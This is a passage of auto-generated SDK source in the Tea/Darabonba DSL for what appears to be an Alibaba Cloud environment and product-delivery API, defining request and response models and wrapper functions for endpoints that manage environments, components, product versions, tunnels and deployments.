data?: {
packageURL?: string(name='packageURL'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetEnvironmentPackageResponse = {
headers: map[string]string(name='headers'),
body: GetEnvironmentPackageResponseBody(name='body'),
}
async function getEnvironmentPackage(uid: string): GetEnvironmentPackageResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getEnvironmentPackageWithOptions(uid, headers, runtime);
}
async function getEnvironmentPackageWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetEnvironmentPackageResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetEnvironmentPackage', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/envPackages/${uid}`, 'json', req, runtime);
}
model ListEnvChangeRecordPackageConfigResponseBody = {
data?: string(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
}
model ListEnvChangeRecordPackageConfigResponse = {
headers: map[string]string(name='headers'),
body: ListEnvChangeRecordPackageConfigResponseBody(name='body'),
}
async function listEnvChangeRecordPackageConfig(uid: string, recordUid: string): ListEnvChangeRecordPackageConfigResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvChangeRecordPackageConfigWithOptions(uid, recordUid, headers, runtime);
}
async function listEnvChangeRecordPackageConfigWithOptions(uid: string, recordUid: string, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvChangeRecordPackageConfigResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('ListEnvChangeRecordPackageConfig', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/change_records/${recordUid}/package_configs`, 'json', req, runtime);
}
model ListComponentsRequest {
name?: string(name='name'),
category?: string(name='category'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
fuzzy?: string(name='fuzzy'),
public?: boolean(name='public'),
}
model ListComponentsResponseBody = {
data?: {
list?: [
{
annotations?: {
annotations?: string(name='annotations'),
}(name='annotations'),
category?: string(name='category'),
description?: string(name='description'),
documents?: string(name='documents'),
name?: string(name='name'),
provider?: string(name='provider'),
public?: boolean(name='public'),
singleton?: boolean(name='singleton'),
source?: string(name='source'),
uid?: string(name='uid'),
}
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListComponentsResponse = {
headers: map[string]string(name='headers'),
body: ListComponentsResponseBody(name='body'),
}
async function listComponents(request: ListComponentsRequest): ListComponentsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listComponentsWithOptions(request, headers, runtime);
}
async function listComponentsWithOptions(request: ListComponentsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListComponentsResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.name)) {
query.name = request.name;
}
if (!Util.isUnset(request.category)) {
query.category = request.category;
}
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.fuzzy)) {
query.fuzzy = request.fuzzy;
}
if (!Util.isUnset(request.public)) {
query.public = request.public;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListComponents', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/components`, 'json', req, runtime);
}
model AddEnvironmentProductVersionHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model AddEnvironmentProductVersionRequest {
productVersionUID?: string(name='productVersionUID'),
}
model AddEnvironmentProductVersionResponseBody = {
data?: {
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model AddEnvironmentProductVersionResponse = {
headers: map[string]string(name='headers'),
body: AddEnvironmentProductVersionResponseBody(name='body'),
}
async function addEnvironmentProductVersion(uid: string, request: AddEnvironmentProductVersionRequest): AddEnvironmentProductVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new AddEnvironmentProductVersionHeaders{};
return addEnvironmentProductVersionWithOptions(uid, request, headers, runtime);
}
async function addEnvironmentProductVersionWithOptions(uid: string, request: AddEnvironmentProductVersionRequest, headers: AddEnvironmentProductVersionHeaders, runtime: Util.RuntimeOptions): AddEnvironmentProductVersionResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.productVersionUID)) {
body.productVersionUID = request.productVersionUID;
}
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('AddEnvironmentProductVersion', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/productVersions`, 'json', req, runtime);
}
model GetChildrenComponentVersionListResponseBody = {
data?: {
clusterId?: string(name='clusterId'),
createdAt?: string(name='createdAt'),
description?: string(name='description'),
instanceList?: string(name='instanceList'),
name?: string(name='name'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
uid?: string(name='uid'),
vendorConfig?: string(name='vendorConfig'),
vendorType?: string(name='vendorType'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetChildrenComponentVersionListResponse = {
headers: map[string]string(name='headers'),
body: GetChildrenComponentVersionListResponseBody(name='body'),
}
async function getChildrenComponentVersionList(id: string, versionId: string): GetChildrenComponentVersionListResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getChildrenComponentVersionListWithOptions(id, versionId, headers, runtime);
}
async function getChildrenComponentVersionListWithOptions(id: string, versionId: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetChildrenComponentVersionListResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetChildrenComponentVersionList', '2020-12-01', 'HTTPS', 'GET', 'AK', `/integration/api/v1/products/${id}/versions/${versionId}/children`, 'json', req, runtime);
}
model CreateSLRHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model CreateSLRResponseBody = {
data?: string(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
errorCode?: string(name='errorCode'),
success?: boolean(name='success'),
}
model CreateSLRResponse = {
headers: map[string]string(name='headers'),
body: CreateSLRResponseBody(name='body'),
}
async function createSLR(): CreateSLRResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new CreateSLRHeaders{};
return createSLRWithOptions(headers, runtime);
}
async function createSLRWithOptions(headers: CreateSLRHeaders, runtime: Util.RuntimeOptions): CreateSLRResponse {
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
};
return doROARequest('CreateSLR', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/slr`, 'json', req, runtime);
}
model GetProductVersionRelatedComponentVersionDetailResponseBody = {
data?: [
ProductComponentRelationDetail
](name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetProductVersionRelatedComponentVersionDetailResponse = {
headers: map[string]string(name='headers'),
body: GetProductVersionRelatedComponentVersionDetailResponseBody(name='body'),
}
async function getProductVersionRelatedComponentVersionDetail(uid: string, relationUID: string): GetProductVersionRelatedComponentVersionDetailResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductVersionRelatedComponentVersionDetailWithOptions(uid, relationUID, headers, runtime);
}
async function getProductVersionRelatedComponentVersionDetailWithOptions(uid: string, relationUID: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductVersionRelatedComponentVersionDetailResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetProductVersionRelatedComponentVersionDetail', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_versions/${uid}/relations/${relationUID}`, 'json', req, runtime);
}
model GetProductVersionPlatformsResponseBody = {
data?: [
Platform
](name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetProductVersionPlatformsResponse = {
headers: map[string]string(name='headers'),
body: GetProductVersionPlatformsResponseBody(name='body'),
}
async function getProductVersionPlatforms(uid: string): GetProductVersionPlatformsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductVersionPlatformsWithOptions(uid, headers, runtime);
}
async function getProductVersionPlatformsWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductVersionPlatformsResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetProductVersionPlatforms', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_versions/${uid}/platforms`, 'json', req, runtime);
}
model SetEnvironmentTunnelRequest {
tunnelType?: string(name='tunnelType', description='通道类型'),
tunnelConfig?: {
sshPort?: int32(name='sshPort', description='跳板机ssh端口号'),
hostname?: string(name='hostname', description='跳板机hostname'),
username?: string(name='username', description='跳板机用户名'),
password?: string(name='password', description='跳板机密码'),
vpcId?: string(name='vpcId', description='直连vpcId'),
regionId?: string(name='regionId', description='直连地域id'),
}(name='tunnelConfig', description='通道配置'),
}
model SetEnvironmentTunnelResponseBody = {
errCode?: string(name='errCode', description='错误码'),
errMsg?: string(name='errMsg', description='错误信息'),
success?: boolean(name='success', description='是否成功'),
date?: {
uid?: string(name='uid', description='通道id,可空'),
}(name='date', description='数据'),
}
model SetEnvironmentTunnelResponse = {
headers: map[string]string(name='headers'),
body: SetEnvironmentTunnelResponseBody(name='body'),
}
async function setEnvironmentTunnel(uid: string, request: SetEnvironmentTunnelRequest): SetEnvironmentTunnelResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return setEnvironmentTunnelWithOptions(uid, request, headers, runtime);
}
async function setEnvironmentTunnelWithOptions(uid: string, request: SetEnvironmentTunnelRequest, headers: map[string]string, runtime: Util.RuntimeOptions): SetEnvironmentTunnelResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.tunnelType)) {
body.tunnelType = request.tunnelType;
}
if (!Util.isUnset(request.tunnelConfig)) {
body.tunnelConfig = request.tunnelConfig;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('SetEnvironmentTunnel', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/environments/${uid}/tunnels`, 'json', req, runtime);
}
model GetProductVersionResourceResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetProductVersionResourceResponse = {
headers: map[string]string(name='headers'),
body: GetProductVersionResourceResponseBody(name='body'),
}
async function getProductVersionResource(uid: string): GetProductVersionResourceResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductVersionResourceWithOptions(uid, headers, runtime);
}
async function getProductVersionResourceWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductVersionResourceResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetProductVersionResource', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_versions/${uid}/resources`, 'json', req, runtime);
}
model ApplyEnvironmentResourceRequest {
accessKeyID?: string(name='accessKeyID'),
accessKeySecret?: string(name='accessKeySecret'),
securityToken?: string(name='securityToken'),
}
model ApplyEnvironmentResourceResponseBody = {
data?: {
status?: string(name='status'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ApplyEnvironmentResourceResponse = {
headers: map[string]string(name='headers'),
body: ApplyEnvironmentResourceResponseBody(name='body'),
}
async function applyEnvironmentResource(uid: string, request: ApplyEnvironmentResourceRequest): ApplyEnvironmentResourceResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return applyEnvironmentResourceWithOptions(uid, request, headers, runtime);
}
async function applyEnvironmentResourceWithOptions(uid: string, request: ApplyEnvironmentResourceRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ApplyEnvironmentResourceResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.accessKeyID)) {
body.accessKeyID = request.accessKeyID;
}
if (!Util.isUnset(request.accessKeySecret)) {
body.accessKeySecret = request.accessKeySecret;
}
if (!Util.isUnset(request.securityToken)) {
body.securityToken = request.securityToken;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('ApplyEnvironmentResource', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/resource`, 'json', req, runtime);
}
model ListEnvChangeRecordsRequest {
pageNum?: string(name='pageNum'),
pageSize?: string(name='pageSize'),
}
model ListEnvChangeRecordsResponseBody = {
data?: {
list?: [
{
deliveriedProductVersion?: string(name='deliveried_product_version', description='交付产品版本'),
originProductVersion?: string(name='origin_product_version', description='源版本'),
deliveriedAt?: string(name='deliveried_at', description='交付时间'),
foundationVersion?: string(name='foundation_version', description='底座版本'),
description?: string(name='description', description='交付描述'),
}
](name='list'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
}
model ListEnvChangeRecordsResponse = {
headers: map[string]string(name='headers'),
body: ListEnvChangeRecordsResponseBody(name='body'),
}
async function listEnvChangeRecords(uid: string, request: ListEnvChangeRecordsRequest): ListEnvChangeRecordsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvChangeRecordsWithOptions(uid, request, headers, runtime);
}
async function listEnvChangeRecordsWithOptions(uid: string, request: ListEnvChangeRecordsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvChangeRecordsResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListEnvChangeRecords', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/change_records`, 'json', req, runtime);
}
model AddProductVersionConfigRequest {
name?: string(name='name', description='配置信息key'),
value?: string(name='value', description='配置信息value'),
notes?: string(name='notes', description='配置说明'),
componentVersionUID?: string(name='componentVersionUID', description='组件uid'),
parentComponentVersionUID?: string(name='ParentComponentVersionUID', description='父组件uid'),
}
model AddProductVersionConfigResponseBody = {
requestId?: string(name='requestId', description='Id of the request'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model AddProductVersionConfigResponse = {
headers: map[string]string(name='headers'),
body: AddProductVersionConfigResponseBody(name='body'),
}
async function addProductVersionConfig(uid: string, request: AddProductVersionConfigRequest): AddProductVersionConfigResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return addProductVersionConfigWithOptions(uid, request, headers, runtime);
}
async function addProductVersionConfigWithOptions(uid: string, request: AddProductVersionConfigRequest, headers: map[string]string, runtime: Util.RuntimeOptions): AddProductVersionConfigResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.name)) {
body.name = request.name;
}
if (!Util.isUnset(request.value)) {
body.value = request.value;
}
if (!Util.isUnset(request.notes)) {
body.notes = request.notes;
}
if (!Util.isUnset(request.componentVersionUID)) {
body.componentVersionUID = request.componentVersionUID;
}
if (!Util.isUnset(request.parentComponentVersionUID)) {
body.ParentComponentVersionUID = request.parentComponentVersionUID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('AddProductVersionConfig', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/product_versions/${uid}/config`, 'json', req, runtime);
}
model ShareSnapshotRequest {
targetProvider?: string(name='targetProvider'),
}
model ShareSnapshotResponseBody = {
data?: {
newSnapshotUID?: string(name='newSnapshotUID'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ShareSnapshotResponse = {
headers: map[string]string(name='headers'),
body: ShareSnapshotResponseBody(name='body'),
}
async function shareSnapshot(uid: string, request: ShareSnapshotRequest): ShareSnapshotResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return shareSnapshotWithOptions(uid, request, headers, runtime);
}
async function shareSnapshotWithOptions(uid: string, request: ShareSnapshotRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ShareSnapshotResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.targetProvider)) {
body.targetProvider = request.targetProvider;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('ShareSnapshot', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/snapshots/${uid}/snapshots`, 'json', req, runtime);
}
model DeleteEnvironmentParamResponseBody = {
errMessage?: string(name='ErrMessage'),
success?: boolean(name='Success'),
errCode?: string(name='errCode'),
}
model DeleteEnvironmentParamResponse = {
headers: map[string]string(name='headers'),
body: DeleteEnvironmentParamResponseBody(name='body'),
}
async function deleteEnvironmentParam(uid: string): DeleteEnvironmentParamResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteEnvironmentParamWithOptions(uid, headers, runtime);
}
async function deleteEnvironmentParamWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteEnvironmentParamResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('DeleteEnvironmentParam', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/api/v1/environmentparams/${uid}`, 'json', req, runtime);
}
model DeleteComponentVersionResponseBody = {
errMessage?: string(name='ErrMessage'),
success?: boolean(name='Success'),
}
model DeleteComponentVersionResponse = {
headers: map[string]string(name='headers'),
body: DeleteComponentVersionResponseBody(name='body'),
}
async function deleteComponentVersion(uid: string, versionUid: string): DeleteComponentVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteComponentVersionWithOptions(uid, versionUid, headers, runtime);
}
async function deleteComponentVersionWithOptions(uid: string, versionUid: string, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteComponentVersionResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('DeleteComponentVersion', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/integration/api/v1/components/${uid}/versions/${versionUid}`, 'json', req, runtime);
}
model DeployEnvironmentProductRequest {
packageUID?: string(name='packageUID', description='部署包uid'),
}
model DeployEnvironmentProductResponseBody = {
errCode?: string(name='errCode', description='错误码'),
errMsg?: string(name='errMsg', description='错误信息'),
success?: boolean(name='success', description='是否成功'),
data?: {
uid?: string(name='uid', description='部署uid'),
}(name='data', description='数据'),
}
model DeployEnvironmentProductResponse = {
headers: map[string]string(name='headers'),
body: DeployEnvironmentProductResponseBody(name='body'),
}
async function deployEnvironmentProduct(uid: string, request: DeployEnvironmentProductRequest): DeployEnvironmentProductResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deployEnvironmentProductWithOptions(uid, request, headers, runtime);
}
async function deployEnvironmentProductWithOptions(uid: string, request: DeployEnvironmentProductRequest, headers: map[string]string, runtime: Util.RuntimeOptions): DeployEnvironmentProductResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.packageUID)) {
body.packageUID = request.packageUID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('DeployEnvironmentProduct', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/deployment`, 'json', req, runtime);
}
model InitEnvironmentResourceRequest {
accessKeyID?: string(name='accessKeyID'),
accessKeySecret?: string(name='accessKeySecret'),
securityToken?: string(name='securityToken'),
}
model InitEnvironmentResourceResponseBody = {
data?: {
status?: string(name='status'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model InitEnvironmentResourceResponse = {
headers: map[string]string(name='headers'),
body: InitEnvironmentResourceResponseBody(name='body'),
}
async function initEnvironmentResource(uid: string, request: InitEnvironmentResourceRequest): InitEnvironmentResourceResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return initEnvironmentResourceWithOptions(uid, request, headers, runtime);
}
async function initEnvironmentResourceWithOptions(uid: string, request: InitEnvironmentResourceRequest, headers: map[string]string, runtime: Util.RuntimeOptions): InitEnvironmentResourceResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.accessKeyID)) {
body.accessKeyID = request.accessKeyID;
}
if (!Util.isUnset(request.accessKeySecret)) {
body.accessKeySecret = request.accessKeySecret;
}
if (!Util.isUnset(request.securityToken)) {
body.securityToken = request.securityToken;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('InitEnvironmentResource', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/resources`, 'json', req, runtime);
}
model ListEnvironmentDeployRecordRequest {
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
}
model ListEnvironmentDeployRecordResponseBody = {
data?: {
list?: [
{
envUID?: string(name='envUID'),
provider?: string(name='provider'),
status?: string(name='status'),
uid?: string(name='uid'),
}
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListEnvironmentDeployRecordResponse = {
headers: map[string]string(name='headers'),
body: ListEnvironmentDeployRecordResponseBody(name='body'),
}
async function listEnvironmentDeployRecord(uid: string, request: ListEnvironmentDeployRecordRequest): ListEnvironmentDeployRecordResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvironmentDeployRecordWithOptions(uid, request, headers, runtime);
}
async function listEnvironmentDeployRecordWithOptions(uid: string, request: ListEnvironmentDeployRecordRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvironmentDeployRecordResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListEnvironmentDeployRecord', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/deployments`, 'json', req, runtime);
}
model ListProductVersionRelatedComponentVersionsRequest {
pageNum?: string(name='pageNum'),
pageSize?: string(name='pageSize'),
sortKey?: string(name='sortKey'),
sortDirect?: string(name='sortDirect'),
category?: string(name='category'),
}
model ListProductVersionRelatedComponentVersionsResponseBody = {
data?: {
list?: [
ProductComponentRelationDetail
](name='list'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListProductVersionRelatedComponentVersionsResponse = {
headers: map[string]string(name='headers'),
body: ListProductVersionRelatedComponentVersionsResponseBody(name='body'),
}
async function listProductVersionRelatedComponentVersions(uid: string, request: ListProductVersionRelatedComponentVersionsRequest): ListProductVersionRelatedComponentVersionsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listProductVersionRelatedComponentVersionsWithOptions(uid, request, headers, runtime);
}
async function listProductVersionRelatedComponentVersionsWithOptions(uid: string, request: ListProductVersionRelatedComponentVersionsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListProductVersionRelatedComponentVersionsResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.sortKey)) {
query.sortKey = request.sortKey;
}
if (!Util.isUnset(request.sortDirect)) {
query.sortDirect = request.sortDirect;
}
if (!Util.isUnset(request.category)) {
query.category = request.category;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListProductVersionRelatedComponentVersions', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_versions/${uid}/component_versions`, 'json', req, runtime);
}
model GetComponentVersionChildrenResponseBody = {
data?: [
{
componentName?: string(name='componentName'),
componentUID?: string(name='componentUID'),
description?: string(name='description'),
documents?: [ string ](name='documents'),
orchestrationValues?: string(name='orchestrationValues'),
packageURL?: string(name='packageURL'),
parentComponent?: boolean(name='parentComponent'),
productComponentVersionUID?: string(name='productComponentVersionUID'),
provider?: string(name='provider'),
readme?: string(name='readme'),
resources?: string(name='resources'),
uid?: string(name='uid'),
version?: string(name='version'),
}
](name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
status?: string(name='status'),
success?: boolean(name='success'),
}
model GetComponentVersionChildrenResponse = {
headers: map[string]string(name='headers'),
body: GetComponentVersionChildrenResponseBody(name='body'),
}
async function getComponentVersionChildren(uid: string, versionUID: string): GetComponentVersionChildrenResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getComponentVersionChildrenWithOptions(uid, versionUID, headers, runtime);
}
async function getComponentVersionChildrenWithOptions(uid: string, versionUID: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetComponentVersionChildrenResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetComponentVersionChildren', '2020-12-01', 'HTTPS', 'GET', 'AK', `/integration/api/v1/components/${uid}/versions/${versionUID}/children`, 'json', req, runtime);
}
model GetProductVersionPackageURLRequest {
envPackageUID?: string(name='envPackageUID'),
}
model GetProductVersionPackageURLResponseBody = {
data?: {
packageURL?: string(name='packageURL'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetProductVersionPackageURLResponse = {
headers: map[string]string(name='headers'),
body: GetProductVersionPackageURLResponseBody(name='body'),
}
async function getProductVersionPackageURL(uid: string, request: GetProductVersionPackageURLRequest): GetProductVersionPackageURLResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductVersionPackageURLWithOptions(uid, request, headers, runtime);
}
async function getProductVersionPackageURLWithOptions(uid: string, request: GetProductVersionPackageURLRequest, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductVersionPackageURLResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.envPackageUID)) {
query.envPackageUID = request.envPackageUID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('GetProductVersionPackageURL', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/hosting/product_versions/${uid}/packages/url`, 'json', req, runtime);
}
model GetProductVersionRelatedComponentVersionResponseBody = {
data?: [
{
relationUID?: string(name='relationUID'),
productVersionUID?: string(name='productVersionUID'),
parentComponentVersionUID?: string(name='parentComponentVersionUID'),
parentComponentVersionRelationUID?: string(name='parentComponentVersionRelationUID'),
orchestrationValues?: string(name='orchestrationValues'),
values?: string(name='values'),
componentVersionPackageURL?: string(name='componentVersionPackageURL'),
releaseName?: string(name='releaseName'),
priority?: int32(name='priority'),
sequence?: int32(name='sequence'),
componentVersionUID?: string(name='componentVersionUID'),
componentUID?: string(name='componentUID'),
componentName?: string(name='componentName'),
componentDescription?: string(name='componentDescription'),
version?: string(name='version'),
appVersion?: string(name='appVersion'),
componentVersionDescription?: string(name='componentVersionDescription'),
parentComponent?: boolean(name='parentComponent'),
resources?: string(name='resources'),
namespace?: string(name='namespace'),
}
](name='data'),
}
model GetProductVersionRelatedComponentVersionResponse = {
headers: map[string]string(name='headers'),
body: GetProductVersionRelatedComponentVersionResponseBody(name='body'),
}
async function getProductVersionRelatedComponentVersion(relationUID: string): GetProductVersionRelatedComponentVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductVersionRelatedComponentVersionWithOptions(relationUID, headers, runtime);
}
async function getProductVersionRelatedComponentVersionWithOptions(relationUID: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductVersionRelatedComponentVersionResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetProductVersionRelatedComponentVersion', '2020-12-01', 'HTTPS', 'GET', 'AK', `/integration/api/v1/product_version_relations/${relationUID}`, 'json', req, runtime);
}
model ListAlicloudRegionResponseBody = {
data?: {
regions?: {
region?: [
{
localName?: string(name='LocalName'),
regionEndpoint?: string(name='RegionEndpoint'),
regionId?: string(name='RegionId'),
status?: string(name='Status'),
}
](name='Region'),
}(name='Regions'),
requestId?: string(name='RequestId'),
}(name='data'),
success?: boolean(name='success'),
}
model ListAlicloudRegionResponse = {
headers: map[string]string(name='headers'),
body: ListAlicloudRegionResponseBody(name='body'),
}
async function listAlicloudRegion(): ListAlicloudRegionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listAlicloudRegionWithOptions(headers, runtime);
}
